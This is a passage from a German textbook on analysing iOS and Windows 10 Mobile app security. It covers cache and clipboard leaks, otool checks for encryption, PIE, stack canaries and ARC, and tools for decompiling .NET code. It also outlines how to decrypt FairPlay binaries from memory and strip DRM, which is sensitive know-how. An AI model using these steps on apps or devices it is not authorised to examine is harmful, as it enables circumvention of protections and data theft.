da sie die gespeicherten Passwörter in die Zwischenablage schieben, um<br />

sie in jeder anderen Applikation für den Nutzer verfügbar zu machen, wenn er<br />

dies wünscht. In Abbildung 6–17 sehen wir die Zwischenablage, nachdem wir innerhalb<br />

einer Notiz einen Textausschnitt kopiert haben, um ihn in einer anderen<br />

Applikation wieder einfügen zu können.<br />

Abb. 6–17: iOS-Zwischenablage<br />

Eine Sicherheitsmaßnahme gibt es jedoch: Der Entwickler einer solchen Applikation<br />

kann veranlassen, dass die Zwischenablage gelöscht wird, sobald die Applikation,<br />

die die Daten in das entsprechende Pasteboard gelegt hat, geschlossen<br />

wird (dies gelingt durch Setzen von pasteBoard.items = nil beim Schließen der<br />

Applikation). Hiermit kann man zwar einen Angriff nicht vermeiden, aber der<br />

Zeitraum in dem ein solcher Angriff erfolgreich ist, wird deutlich reduziert.<br />

6.4.6 Die systemeigenen Caches<br />

iOS besitzt eine Vielzahl von Caches, in denen vertrauliche oder zumindest sensible<br />

Daten des Nutzers oder einer Applikation landen können. Im Folgenden<br />

werden wir uns jedoch nur auf die beiden – aus Analystensicht wichtigsten –<br />

Caches des iOS-Systems beschränken:<br />

■<br />

■<br />

Keyboard-Cache<br />

HTTP-Response-Cache<br />

Keyboard-Cache<br />

Der Keyboard-Cache wird von iOS standardmäßig bei allen Eingaben des Nutzers<br />

verwendet, um die automatische Rechtschreibkorrektur zu verbessern und<br />

auf den Nutzer des Smartphones oder Tablets besser abzustimmen. Hierzu speichert<br />

iOS jedes getippte Wort in eine spezielle Datei im Dateisystem de_DE-


170 6 Sicherheitsprobleme bei iOS-Applikationen<br />

dynamic-text.dat (je nach eingestellter Sprache hat diese Datei ein anderes Präfix).<br />

Diese Datei finden wir unter /var/mobile/Library/Keyboard/. In einem Unterverzeichnis<br />

hiervon finden wir auch das Nutzerwörterbuch, das alle Wörter enthält,<br />

die der Nutzer verwendet hat, iOS aber zuvor nicht in seinem systemeigenen Wörterbuch<br />

gelistet hatte.<br />

Da sehr häufig gerade Passwörter und Nutzernamen, aber auch Namen von<br />

neuen Produkten bzw. interne Projektnamen, Kombinationen aus Buchstaben<br />

enthalten, die nicht im systemeigenen Wörterbuch stehen, liegen die Chancen<br />

groß, dass es diese Wörter in den Keyboard-Cache – aber vor allem auch in<br />

das Nutzerwörterbuch – schaffen. Um dies zu verhindern, kann der Entwickler<br />

Eingabefelder, von denen er weiß, dass sie sensible Daten verarbeiten (wie<br />

z. B. Passwortfelder), dagegen schützen, dass deren Inhalt in den Keyboard-Cache<br />

wandert. Dies gelingt durch explizites Setzen der secureTextEntry = YES-Markierung<br />

oder durch Ausschluss von der Autokorrektur per autocorrectionType =<br />

UITextAutocorrectionTypeNo.<br />

HTTP-Response-Cache<br />

Im Gegensatz zum Keyboard-Cache aus dem vorherigen Abschnitt ist der HTTP-<br />

Response-Cache privat und liegt innerhalb der geschützten Sandbox einer Applikation.<br />

Nichtsdestotrotz können wir als Analyst auf diese Daten zugreifen und<br />

auch ein Angreifer, der erfolgreich einen Jailbreak auf dem Gerät durchführen<br />

konnte, hat Zugriff auf diese Daten.<br />

iOS-Applikationen verwenden zum Anzeigen von Webseiten oder zum Aufrufen<br />

von webbasierten-APIs sehr häufig die UIWebView. Diese erlaubt es – und macht<br />

dies auch standardmäßig –, lokal auf dem Endgerät einen Cache zu erzeugen, in<br />

dem Anfragen und deren Antworten von HTTP- und HTTPS-Verbindungen zwischengespeichert<br />

werden. Beinhalten diese Requests und Responses vertrauliche<br />

Daten, wie z. B. Passwörter oder Dokumente, so gelangen sie über das Caching<br />

auf das lokale Dateisystem des iOS-Engerätes, wo wir sie finden und analysieren<br />

können.<br />

Die so erzeugten Caches befinden sich an folgenden Stellen innerhalb der<br />

Applikations-Sandbox (/var/mobile/Containers/Data/Application// Library/Caches//):<br />

■<br />

■<br />

■<br />

■<br />

Cache.db: der systemeigene HTTP-Response-Cache der Applikation<br />

*.localstorage: Offline-Storage einer HTML5-Applikation<br />

file__0/*.db: Offline-Datenbanken einer HTML5-Applikation<br />

Databases.db: Offline-Datenbanken einer HTML5-Applikation<br />

Zum Analysieren dieser Dateien ist es am einfachsten, den SQLiteBrowser oder<br />

File Juicer10 zu verwenden. Letzterer bietet die Funktion, sich alle Dateien inner-<br />

10 File Juicer: http://echoone.com/de/filejuicer/index.php


6.5 Fehlende systemeigene Sicherheitsfunktionen ... 171<br />

halb des Caches in eine Ordnerstruktur extrahieren zu lassen, was das manuelle<br />

Betrachten oder Durchsuchen deutlich einfacher macht.<br />

Applikationen, die vertrauliche oder personenbezogene Daten verarbeiten,<br />

sollten das Caching entweder deaktiviert haben (siehe Codebeispiel 6–21) oder<br />

den Cache nach Beendigung der Applikation leeren (siehe Codebeispiel 6–22).<br />

Mit diesen beiden Codefragmenten kann der Entwickler der Applikation den Zugriff<br />

auf eventuell zwischengespeicherte sensible Daten für unberechtigte Dritte<br />

komplett – oder zumindest nach Beenden der Applikation – verhindern.<br />

NSURLCache *urlCache = [[NSURLCache alloc] init];<br />

[urlCache setDiskCapacity:0];<br />

[NSURLCache setSharedURLCache:urlCache];<br />

Codebeispiel 6–21: Deaktivieren des NSURLCache durch Setzen einer Größenbeschränkung für<br />

den Cache<br />

[[NSURLCache sharedURLCache] removeAllCachedResponses];<br />

Codebeispiel 6–22: Leeren des NSURLCache<br />

6.5 Fehlende systemeigene Sicherheitsfunktionen in<br />

iOS-Applikationen erkennen<br />

Apple stellt für seine iOS-Applikationen nativ schon eine ganze Menge an Funktionen<br />

und Schutzkonzepte bereit, die es einem Angreifer oder Sicherheitsanalysten<br />

deutlich erschweren, Schwachstellen in den Applikationen zu erkennen und<br />

auszunutzen. Hierzu zählen u. a. die Verschlüsselung der Binaries und Schutz der<br />

in den Speicher geladenen Bestandteile der Applikation zur Laufzeit. Die meisten<br />

Applikationen, die wir in freier Wildbahn finden, halten sich an diese Vorgaben<br />

und sollten somit keine negativen Findings bezüglich der in den folgenden<br />

Abschnitten gezeigten Kriterien aufweisen. Da es aber immer mehr IDEs zum<br />

Entwickeln von Applikationen gibt und nicht alle diese Eigenschaften so ernst<br />

nehmen wie Xcode, sollten diese Schutzmaßnahmen auf jeden Fall bei jeder Applikation<br />

überprüft werden.<br />

6.5.1 Codeverschlüsselung<br />

Applikationen, die über den offiziellen App-Store bereitgestellt werden, haben<br />

dort von Apple einen Raubkopierschutz in Form von Digital Rights Management<br />

(DRM) erhalten. Apple bezeichnet diese Technik als FairPlay, was eigentlich<br />

nichts anderes als eine Verschlüsselung des Executables ist. Das verschlüsselte<br />

Executable wird erst zur Laufzeit auf dem iOS-Endgerät durch den Mach-O-<br />

Loader wieder entschlüsselt.


172 6 Sicherheitsprobleme bei iOS-Applikationen<br />

Um Informationen über die Strukturen einer Applikation zu erhalten, müssen<br />

wir zum einen erfahren, ob ein Binary überhaupt mit dieser Technik verschlüsselt<br />

wurde, und zum anderen, wie wir diese Verschlüsselung rückgängig machen<br />

können. Die zweite Frage ist recht einfach und wurde von uns bereits in Abschnitt<br />

5.3.3 beantwortet – hier haben wir gezeigt, wie man mittels dumpdecrypted<br />

automatisiert an das entschlüsselte Binary gelangt.<br />

Bevor man jedoch versucht, das Binary automatisiert zu entschlüsseln, sollte<br />

man erst prüfen, ob das Binary überhaupt verschlüsselt ist. Dies können wir durch<br />

Verwendung des in Abschnitt 6.1.1 vorgestellten otool herausfinden (siehe dazu<br />

Codebeispiel 6–23).<br />

$: unzip LoginNative.ipa<br />

$: cd Payload/LoginNative.app/<br />

$: otool -l LoginNative | grep -A 4 LC_ENCRYPTION_INFO<br />

cmd LC_ENCRYPTION_INFO<br />

cmdsize 20<br />

cryptoff 16384<br />

cryptsize 32768<br />

cryptid 1<br />

Codebeispiel 6–23: Ausgabe der Position des verschlüsselten Bereichs einer Applikation<br />

mittels otool<br />

Der Bereich LC_ENCRYPTION_INFO gibt uns wichtige Informationen darüber, ob das<br />

Binary verschlüsselt ist und wo der entschlüsselte Bereich zur Laufzeit liegt. Wie<br />

hier zu sehen ist, zeigt der Wert cryptid an, dass das Binary verschlüsselt ist.<br />

Nun ist also die Frage, wo finden wir zur Laufzeit das entschlüsselte Binary,<br />

wenn wir es nicht mittels dumpdecrypted automatisiert finden und entschlüsseln<br />

wollen?<br />

Diese Speicheradressen lassen sich recht einfach berechnen. Zur Laufzeit der<br />

Applikation müssen wir uns nur mit einem Debugger – wie z. B. gdb – an die Applikation<br />

anhängen und die Rückgabe des Befehls info sharedlibrary auswerten.<br />

Hier erfahren wir die Adresse im Speicher mit dem Startpunkt der Applikation.<br />

Auf diese Adresse rechnen wir nun den in Codebeispiel 6–23 ausgegebenen Offset<br />

(cryptoff) hinzu. So erhalten wir die Speicheradresse, an der unser entschlüsseltes<br />

Binary beginnt. Mithilfe dieser errechneten Stelle und der angegebenen Größe<br />

des Binaries (cryptsize) können wir nun durch Anwenden des Befehls dump memory<br />

unser entschlüsseltes Binary aus dem Speicher in eine lokale Datei schreiben.<br />

Als vorletzten Schritt müssen wir nur noch das entschlüsselte Binary an genau<br />

die Stelle in der Applikation schreiben, an der zuvor das verschlüsselte Binary<br />

stand. Dies gelingt am einfachsten per dd. Der letzte Schritt ist etwas kniffeliger,


6.5 Fehlende systemeigene Sicherheitsfunktionen ... 173<br />

wir müssen mit einem Hex-Editor die Stelle in der Applikation finden, wo der<br />

ursprüngliche Wert von cryptid hinterlegt ist, und ihn auf 0 ändern.<br />

Die Information, ob das Binary entschlüsselt vorliegt, bekommen wir auch,<br />

wenn wir wie in Abschnitt 6.1.3 gezeigt, idb verwenden (siehe dazu Abbildung<br />

6–18).<br />

Abb. 6–18: Mittels idb anzeigen lassen, ob ein Binary verschlüsselt ist<br />

Wie man an diesem Beispiel gut sieht, gibt es auch Applikationen, die nicht verschlüsselt<br />

sind. Dies hat meist den Grund, dass die Applikation nicht über den<br />

offiziellen App-Store bezogen wurde, sondern über einen App-Store, der Teil eines<br />

<strong>Mobile</strong> Device Management (MDM) ist.<br />

6.5.2 Address Space Layout Randomization<br />

Address Space Layout Randomization (ASLR) wurde von Apple in iOS 4.3 eingeführt<br />

und sorgt dafür, dass Bibliotheken, das eigentliche Executable sowie der<br />

Stack und der Heap in nicht vorherberechenbare Speicherbereiche geladen werden.<br />

Dies macht einen Angriff auf fehlerhafte oder ausnutzbare Funktionsbausteine<br />

einer Applikation deutlich schwerer, da der Angreifer nicht im Vorhinein<br />

weiß, an welcher Stelle im Speicher die entsprechenden Bestandteile der Applikation<br />

liegen. Damit dieser Schutz ohne Nachteile für die Applikation und deren<br />

Ausführung funktionieren kann, muss die Applikation als Position-Independent<br />

Executable (PIE) gebaut werden. Hiermit wird dem Compiler mitgeteilt, dass er<br />

die Applikation darauf auslegen soll, dass ihre Bestandteile überall im Speicher<br />

liegen können und deren Position nicht fest ist.<br />

Um als Entwickler sicherzustellen, dass diese Eigenschaften für die eigene<br />

Applikation auch erfüllt sind, muss gewährleistet sein, dass die in Abbildung 6–19<br />

und Abbildung 6–20 markierten Settings eingestellt sind und dass als minimale<br />

iOS-Version 4.3 angegeben ist (dies ist in aktuellen Xcode-Projekten jedoch der<br />

Standard).


174 6 Sicherheitsprobleme bei iOS-Applikationen<br />

Abb. 6–19: Einstellungen in Xcode, um ein Position-Independent Executable (PIE) zu erzeugen:<br />

Linking<br />

Abb. 6–20: Einstellungen in Xcode, um ein Position-Independent Executable (PIE) zu erzeugen:<br />

Code Generation<br />

Möchten wir als Analysten wissen, ob ein Entwickler diesem Standard gefolgt ist<br />

oder seine Applikation einem erhöhten Risiko ausgesetzt ist, können wir dies mit<br />

dem in Abschnitt 6.1.1 vorgestellten otool prüfen (siehe dazu Codebeispiel 6–24).<br />

$: unzip LoginNative.ipa<br />

$: cd Payload/LoginNative.app/<br />

$: otool -vh LoginNative<br />

LoginNative (architecture armv7):<br />

Mach header<br />

magic cputype cpusubtype caps filetype ncmds sizeofcmds flags<br />

MH_MAGIC ARM V7 0x00 EXECUTE 23 2752 NOUNDEFS DYLDLINK TWOLEVEL PIE


6.5 Fehlende systemeigene Sicherheitsfunktionen ... 175<br />

LoginNative (architecture arm64):<br />

Mach header<br />

magic cputype cpusubtype caps filetype ncmds sizeofcmds flags<br />

MH_MAGIC_64 ARM64 ALL 0x00 EXECUTE 23 3320 NOUNDEFS DYLDLINK TWOLEVEL PIE<br />

Codebeispiel 6–24: Prüfen der ASLR- und PIE-Voraussetzungen einer Applikation mittels otool<br />

Wie in diesem Beispiel zu sehen ist, liefert die Ausgabe von otool für jede im Binary<br />

enthaltene Architektur das PIE-Flag, das angibt, dass die Applikation konform<br />

zu unseren beschriebenen Voraussetzungen gebaut wurde.<br />

Noch etwas einfacher geht das Ganze, wenn wir, wie in Abschnitt 6.1.3 gezeigt,<br />

idb verwenden. Hier wird uns das PIE-Flag direkt im Hauptfenster angezeigt<br />

(siehe dazu Abbildung 6–21).<br />

Abb. 6–21: Anzeigen des aktivierten PIE-Flags in idb<br />

Alle von Apple selbst erstellten Applikationen besitzen dieses Flag seit iOS 5,<br />

doch dies ist bei Applikationen von anderen Entwicklern nicht immer der Fall<br />

und sollte deshalb auf jeden Fall überprüft werden.<br />

6.5.3 Stack-Smashing-Schutz<br />

Ein weiteres bekanntes Problem sind sogenannte Buffer-Overflows, bei denen<br />

der Angreifer oder Analyst versucht, Speicherbereiche so zu überschreiben, dass<br />

er Sprungmarken oder Zeiger im Speicher verändern kann. Hierdurch ist es ihm<br />

dann möglich, die eigentliche Funktion einer Applikation zu verändern. Um dies<br />

zu erschweren, hat Apple eine weitere Schutztechnik eingeführt, die in Xcode<br />

automatisch aktiviert wird beim Erstellen von Applikationen: Stack Canaries.<br />

Diese Canaries, oder umgangssprachlich auch Informanten genannt, sind im<br />

Wesentlichen nichts anderes als Marker im Speicher, die anzeigen, ob ein Puffer<br />

übergelaufen ist oder andere Manipulationen am Speicher vorgenommen wurden.<br />

Die iOS-Applikation schreibt zur Laufzeit an bestimmte Stellen im Speicher –


176 6 Sicherheitsprobleme bei iOS-Applikationen<br />

meist direkt vor lokale Variablen – vordefinierte Werte. Zur Laufzeit werden diese<br />

Werte dann überprüft, bevor die eigentliche Variable eingelesen wird. Beinhaltet<br />

sie noch den bekannten Wert, so scheint der Speicher noch intakt und die Variable<br />

wird eingelesen. Enthält die Canary einen anderen Wert, so ist das ein Zeichen<br />

für Manipulation und der Programmfluss wird unterbrochen, was ein Ausführen<br />

der manipulierten Speicheradressen verhindert.<br />

Xcode verwendet zum Platzieren dieser Marker den LLVM-Compiler und<br />

dessen Heuristik, um den Stack vor sogenanntem Smashing zu schützen.<br />

Wenn wir als Sicherheitsanalysten nun prüfen wollen, ob die fragwürdige Applikation<br />

über einen aktivierten Stack-Smashing-Schutz verfügt, so können wir<br />

wieder das in Abschnitt 6.1.1 vorgestellte otool verwenden (siehe dazu Codebeispiel<br />

6–25).<br />

$: unzip LoginNative.ipa<br />

$: cd Payload/LoginNative.app/<br />

$: otool -Iv LoginNative | grep stack<br />

0x0000ffbc 20 ___stack_chk_fail<br />

0x000100c4 20 ___stack_chk_fail<br />

0x0001011c 21 ___stack_chk_guard<br />

Codebeispiel 6–25: Prüfen des Stack-Smashing-Schutzes einer Applikation mittels otool<br />

Das Vorhandensein der Symbole stack_chk_fail und stack_chk_guard weist darauf<br />

hin, dass der Stack-Smashing-Schutz bei dieser Testapplikation aktiviert ist.<br />

Wie schon bei ASLR geht es auch in diesem Fall noch etwas einfacher, wenn<br />

wir, wie in Abschnitt 6.1.3 gezeigt, idb verwenden (siehe dazu Abbildung 6–22).<br />

Abb. 6–22: Anzeigen des aktivierten Stack-Smashing-Schutzes in idb


6.5 Fehlende systemeigene Sicherheitsfunktionen ... 177<br />

6.5.4 Automatic Reference Counting<br />

Automatic Reference Counting (ARC) wurde von Apple in iOS 5.0 eingeführt<br />

und sorgt dafür, dass das Management des verwendeten Speichers – und alles<br />

was hierzu gehört – nun nicht mehr vom Entwickler, sondern vom Compiler<br />

selbst übernommen wird. Als weiterer Vorteil, der zu einer optimierten und schonenden<br />

Speichernutzung hinzukommt, sind auch sicherheitsrelevante Fehler der<br />

Entwickler wie z. B. use-after-free und double-free nun nicht mehr möglich, da<br />

sie vom Compiler bereits beim Erzeugen der Applikation verhindert werden.<br />

Im Gegensatz zu den zuvor gezeigten Schutzmechanismen ASLR und Stack<br />

Canaries kann ARC auch nur auf einzelne Objekte im Quellcode der Applikation<br />

angewendet werden. Hierdurch ist es deutlich schwerer für uns als Sicherheitsanalysten<br />

herauszufinden, ob ARC auch wirklich für die gesamte Applikation<br />

und all ihre Objekte aktiviert ist.<br />

Am einfachsten für uns geht das Ganze, wenn wir, wie in Abschnitt 6.1.3<br />

gezeigt, idb verwenden (siehe dazu Abbildung 6–23).<br />

Abb. 6–23: Anzeigen des aktivierten ARC-Flags in idb<br />

Aber auch hier können wir wieder manuell mit dem in Abschnitt 6.1.1 vorgestellten<br />

otool prüfen, ob es Hinweise auf die Verwendung von ARC gibt (siehe dazu<br />

Codebeispiel 6–26).<br />

$: unzip LoginNative.ipa<br />

$: cd Payload/LoginNative.app/


178 6 Sicherheitsprobleme bei iOS-Applikationen<br />

$: otool -Iv LoginNative | grep retain<br />

0x0000ff84 71 _objc_retain<br />

0x0000ff88 72 _objc_retainAutoreleasedReturnValue<br />

0x0001008c 71 _objc_retain<br />

0x00010090 72 _objc_retainAutoreleasedReturnValue<br />

0x0001014c 71 _objc_retain<br />

Codebeispiel 6–26: Prüfen auf aktiviertem ARC einer Applikation mittels otool<br />

Wichtig ist hierbei, dass wir nach Bezeichnungen suchen, die nur bei aktiviertem<br />

Automatic Reference Counting vorhanden sind. Dazu zählen u. a. die Folgenden:<br />

■<br />

■<br />

■<br />

■<br />

objc_autoreleaseReturnValue<br />

objc_release<br />

objc_retain<br />

objc_storeStrong<br />

6.6 Zusammenfassung<br />

In diesem Kapitel haben wir uns angesehen, welche Schwachstellen eine iOS-<br />

Applikation potenziell haben kann und wie man diese entdecken und schließlich<br />

auch ausnutzen kann. Dabei sind wir nicht nur auf die unsachgemäße Handhabung<br />

von personenbezogenen Daten eingegangen, sondern auch auf Klassiker wie<br />

den vergessenen Schutz von Snapshots und von HTTP-Response-Cache.<br />

Wie man in diesem Kapitel sehr schön sehen kann, ist eine forensische Analyse<br />

der Dateien innerhalb der Sandboxen ebenso wichtig wie die zuvor gezeigten<br />

Angriffe auf den Code der Applikation. Oft findet man in diesen Dateien ungeschützte<br />

Hinweise auf Inhalte der Applikation oder auf die PIN, mit der die<br />

Applikation vor unberechtigten Dritten geschützt ist.<br />

Im letzten Abschnitt wurde noch gezeigt, wie man überprüfen kann, ob die<br />

systemeigenen Schutzmechanismen von iOS implementiert sind oder ob man hier<br />

schon erste Punkte zur Beanstandung einer Applikation findet.


179<br />

7 Reversing von<br />

Windows-10-<strong>Mobile</strong>-Applikationen<br />

Windows 10 <strong>Mobile</strong> ist im Gegensatz zu iOS und Android noch eine sehr junge<br />

Plattform, die auch nahezu keine Verbreitung in der freien Wildbahn besitzt. Aus<br />

diesem Grund steckt sie auch gerade im Bereich Reversing und Analyse noch<br />

in den Kinderschuhen. Trotzdem soll hier versucht werden, das Wissen in den<br />

beiden folgenden Kapiteln zusammenzufassen und dem Analysten zu zeigen, wo<br />

es erste Ansätze zur Analyse gibt.<br />

In diesem Kapitel beginnen wir mit dem Aufbau der Applikationen und<br />

schauen uns an, wie man bei der eigentlichen Analyse vorgehen kann, um mehr<br />

über die eigentlichen Funktionen einer Windows-10-<strong>Mobile</strong>-Applikation zu erfahren.<br />

Zugleich dient dieses Kapitel als Grundlage für das folgende Kapitel 8, in<br />

dem wir etwas tiefer in die Plattform eintauchen werden.<br />

7.1 Aufbau der Windows-10-<strong>Mobile</strong>-Applikationen<br />

Windows-10-<strong>Mobile</strong>-Applikationen werden in zwei verschiedenen Paketarten<br />

verteilt: xap (eingeführt in Windows Phone 7) und appx (eingeführt in Windows<br />

Phone 8.1). Beides sind wie auch schon bei Android und iOS ZIP-Archive, die<br />

alles enthalten, was die Applikation zur Installation und während der eigentlichen<br />

Ausführung benötigt. Dazu zählen vor allem der eigentliche Code als Binary<br />

oder .NET-Assembly, Bilder, Icons und das Manifest (WMAppManifest.xml oder<br />

AppManifest.xml), wie in Codebeispiel 7–1 zu sehen.<br />

$: unzip Mix.xap<br />

Archive: Mix.xap<br />

extracting: ApplicationIcon.png<br />

inflating: AppManifest.xaml<br />

inflating: AppResLib.dll<br />

inflating: AppResLib.dll.0401.mui<br />

inflating: AppResLib.dll.0403.mui<br />

inflating: AppResLib.dll.0404.mui<br />

....


180 7 Reversing von Windows-10-<strong>Mobile</strong>-Applikationen<br />

inflating: AppResLib.dll.0816.mui<br />

inflating: AppResLib.dll.0c0a.mui<br />

inflating: AppResLib.dll.0c0c.mui<br />

inflating: AppTileLarge.png<br />

inflating: AppTileMedium.png<br />

extracting: AppTileSmall.png<br />

....<br />

creating: View/<br />

creating: View/Images/<br />

extracting: View/Images/cancel.png<br />

extracting: View/Images/check.png<br />

inflating: VoiceCommandDefinition.xml<br />

inflating: WMAppManifest.xml<br />

inflating: ZMedia.winmd<br />

Codebeispiel 7–1: Unzip einer Windows-10-<strong>Mobile</strong>-Applikation im xap-Format<br />

Das Entpacken einer Windows-10-<strong>Mobile</strong>-Applikation ist nicht immer mit einem<br />

einfachen unzip möglich, da Microsoft bei diesen Applikationen Verschlüsselung<br />

und DRM implementiert hat. Eine Möglichkeit, diesen Schutz zu entfernen, bietet<br />

das Tool Phone7Market1 . Obwohl es für Windows Phone 7 erstellt wurde,<br />

stehen die Chancen gut, dass es auch bei aktuellen Applikationen noch seinen gewünschten<br />

Zweck erfüllt und den DRM-Schutz entfernt. Im Nachgang ist dann<br />

wieder ein einfaches Entpacken per unzip möglich.<br />

Wie wir es schon von Android kennen, besitzt auch das Manifest für die<br />

Windows-10-<strong>Mobile</strong>-Applikationen wichtige Metainformationen zur Applikation<br />

und dessen Entwickler (siehe Codebeispiel 7–2 für einen Auszug aus einem<br />

solchen Manifest). Für uns sind mit die wichtigsten Informationen aus diesem<br />

Manifest die folgenden:<br />

Author & Publisher: Diese beiden Tags geben uns Informationen dazu, wer diese<br />

Applikation entwickelt hat.<br />

Version: Versionsnummer der Applikation<br />

ProductID/ApplicationID: Ist die eindeutige ID dieser Applikation. Diese ID benötigen<br />

wir später, um die Applikation und ihre Daten im Dateisystem zu<br />

finden.<br />

Capabilities: Das sind die Features, auf die die Applikation zugreifen möchte.<br />

Viele davon müssen bei der Installation vom Nutzer bestätigt werden (ähnlich<br />

wie die Permissions bei Android).<br />

FileTypeAssociation: Gibt die Endungen von Dateien an, die mit dieser Applikation<br />

verarbeitet werden können (z. B. .xlsx).<br />

Protocol: Listet die URL-Schemata auf, für die diese Applikation registriert ist.<br />

1 Phone7Market: http://ried.cl/mobile/wp7desktopmarketplace.html


7.1 Aufbau der Windows-10-<strong>Mobile</strong>-Applikationen 181<br />

In Kapitel 8 werden wir auf einige dieser Metainformationen eingehen und zeigen,<br />

warum sie für uns einen hohen Stellenwert besitzen.<br />

<br />

<br />

<br />

<br />

ms-resource:App_Name/Text<br />

Microsoft Corporation<br />

Assets/StoreLogo.png<br />

<br />

<br />

6.3.1<br />

6.3.1<br />

<br />

<br />

<br />

....<br />

<br />

<br />

<br />

....<br />

<br />

<br />

<br />

<br />

<br />

<br />


182 7 Reversing von Windows-10-<strong>Mobile</strong>-Applikationen<br />

<br />

<br />

....<br />

<br />

<br />

<br />

....<br />

<br />

<br />

<br />

Codebeispiel 7–2: Auszug aus einem AppManifest.xml<br />

7.2 Vorgehensweisen beim Reversing von<br />

Windows-10-<strong>Mobile</strong>-Applikationen<br />

Generell gibt es zwei Möglichkeiten, wie beim Reversing von Windows-10-<br />

<strong>Mobile</strong>-Applikationen vorgegangen werden kann. Beide Versionen unterscheiden<br />

sich jedoch nur im ersten Punkt: dem Beschaffen der Applikation selbst.<br />

1. Beschaffen der Applikation selbst<br />

■<br />

■<br />

Variante A: Die Applikation liegt als xap- oder appx-Datei vor.<br />

Variante B: Wir haben Root-Zugriff auf das Endgerät.<br />

2. Eigentliches Reversing der Applikation mittels der Tools, die in Abschnitt 7.3<br />

gezeigt werden.<br />

Bei Variante A ist das Vorgehen im Wesentlichen wie schon in Abschnitt 7.1<br />

beschrieben. Wir entfernen einen eventuell vorhandenen DRM-Schutz und entpacken<br />

die Applikation im Anschluss per unzip, um so an all ihre Bestandteile zu<br />

kommen.<br />

In den meisten Fällen werden wir jedoch nicht von vornherein diese Dateien<br />

zur Verfügung haben. Daher beschreibt Variante B das Vorgehen, das<br />

wir in der realen Welt am häufigsten durchführen werden. Bei diesem Vorgehen<br />

ist es wichtig, dass wir – wie in Abschnitt 1.6.3 gezeigt – volle Root-<br />

Rechte auf unserem Testgerät besitzen, da wir nur so in die Verzeichnisse kommen,<br />

die wir benötigen. Haben wir diese Rechte, so können wir alle Installationsdateien<br />

der auf dem Endgerät vorhandenen Applikationen im Verzeichnis<br />

C:\Data\Programs\\Install\ finden. Wie man an diesem Pfad sieht, sind die<br />

Installationsverzeichnisse der Applikationen, wie wir das auch schon bei iOS gesehen<br />

haben, in Verzeichnisse mit ihrer GUID unterteilt.


7.3 Werkzeuge zum Analysieren der Applikationen 183<br />

7.3 Werkzeuge zum Analysieren der Applikationen<br />

Bei der Analyse von Applikationen – dem sogenannten Reversing – gibt es bei<br />

Windows-10-<strong>Mobile</strong>-Applikationen im Wesentlichen drei Klassen von Binaries,<br />

auf die man stoßen kann:<br />

1. .NET-Bibliotheken (oft in Form von DLL-Dateien)<br />

2. HTML- und JavaScript-Dateien<br />

3. Native Windows-Binaries<br />

Die dritte Klasse (native Windows-Binaries) ist die zugleich größte Herausforderung<br />

für uns als Analysten, da man hierbei nur auf Tools wie IDA Pro zurückgreifen<br />

kann, die sehr komplex sind und für den Laien oder ungeübten Analysten<br />

sehr unübersichtlich und kompliziert wirken. Handelt es sich hingegen um<br />

HTML- und JavaScript-Dateien, so haben wir als Analysten ein deutlich einfacheres<br />

Spiel, da hier unsere gängigen Editoren (wie z. B. Sublime Text2 oder Atom<br />

Editor3 ) den Inhalt aufbereitet und strukturiert darstellen können.<br />

Die Klasse der .NET-Bibliotheken bietet eine Art Mittelweg aus den beiden<br />

anderen Klassen an Binaries. Wir haben hier Werkzeuge wie NET reflector@.NET<br />

reflector und ILSpy, die uns helfen, den Code der Binaries wieder in<br />

eine lesbare Form zu bringen und uns bei der Analyse zu unterstützen. Diese beiden<br />

Tools wollen wir uns in den folgenden Abschnitten kurz ansehen.<br />

7.3.1 .NET reflector<br />

Der .NET reflector4 von Red-Gate ist das erste Werkzeug, das von Analysten verwendet<br />

werden kann, um die zuvor erwähnten .NET-Bibliotheken zu dekompilieren,<br />

um so wieder an eine Darstellung des Quellcodes zu kommen, die möglichst<br />

nahe am Original liegt. Dabei kann als Zielsprache der Übersetzung zwischen<br />

bekannten Sprachen wie C#, Visual Basic und Chrome gewählt werden.<br />

.NET reflector ist in der Lage, komplette Applikationen zu dekompilieren<br />

(solange sie im xap-Dateiformat vorliegen) oder einzelne DLL-Dateien.<br />

Abbildung 7–1 zeigt eine Bibliothek einer Windows-10-<strong>Mobile</strong>-Applikation,<br />

die verwendet wird, um das JSON-Format zu lesen und andere Formate in dieses<br />

umzuwandeln. Auf der linken Seite sieht man die geladenen und dekompilierten<br />

Bibliotheken sowie all ihre Klassen und Methoden (in diesem Beispiel<br />

haben wir die Bibliothek Newtonsoft.Json.dll, darin den Namespace Newtonsoft<br />

.Json.Converters und die dazugehörige Klasse RegexConverter gewählt). Auf der<br />

2 Sublime Text: http://www.sublimetext.com/<br />

3 Atom Editor: https://atom.io/<br />

4 .NET reflector:<br />

http://www.red-gate.com/products/dotnet-development/reflector/


184 7 Reversing von Windows-10-<strong>Mobile</strong>-Applikationen<br />

rechten Seite findet sich im oberen Bereich die dekompilierte Methode (in unserem<br />

Fall ReadRegexString()). Im unteren Bereich stehen auf der rechten Seite noch<br />

weitere interessante Informationen, nämlich die Verlinkung dieser Methode, also<br />

die Stellen, wo diese Methode verwendet bzw. aufgerufen wird, und alle Klassen,<br />

die benötigt werden, damit eine Ausführung überhaupt möglich ist. In diesem<br />

Fall sehen wir, dass diese Methode innerhalb der Methode ReadJson() in derselben<br />

Klasse aufgerufen wird. Eine solche Baumstruktur kann uns beim Reversing<br />

und dem eigentlichen »Verstehen der Applikation« sehr helfen, da wir erkennen<br />

können, wo wichtige Methoden aufgerufen werden und wie Daten durch die Applikation<br />

fließen.<br />

Abb. 7–1: Beispiel einer dekompilierten .NET-Bibliothek in .NET reflector in C#<br />

Abbildung 7–2 zeigt dieselbe Methode, nur diesmal haben wir als Zielsprache<br />

der Übersetzung Visual Basic angegeben und nicht wie in Abbildung 7–1 C#. Die<br />

Möglichkeit, hier verschiedene Zielsprachen anzugeben, ist gerade für Analysten,<br />

die ein tiefes Wissen im Lesen und Verstehen von einzelnen Programmiersprachen<br />

besitzen, eine sehr nützliche Funktion von .NET reflector.


7.3 Werkzeuge zum Analysieren der Applikationen 185<br />

Abb. 7–2: Beispiel einer dekompilierten .NET-Bibliothek in .NET reflector in Visual Basic<br />

7.3.2 ILSpy<br />

ILSpy5 ist ein Tool, das in vielen Bereichen vergleichbar zu dem zuvor erwähnten<br />

.NET reflector ist. Der wesentliche Unterschied liegt darin, dass ILSpy als Open-<br />

Source-Lösung verfügbar ist und deshalb bei vielen Analysten sehr beliebt ist.<br />

ILSpy entstand Ende 2011, als bekannt wurde, dass .NET reflector einen neuen<br />

Urheber hat und nicht mehr weiter kostenlos zur Verfügung gestellt wird.<br />

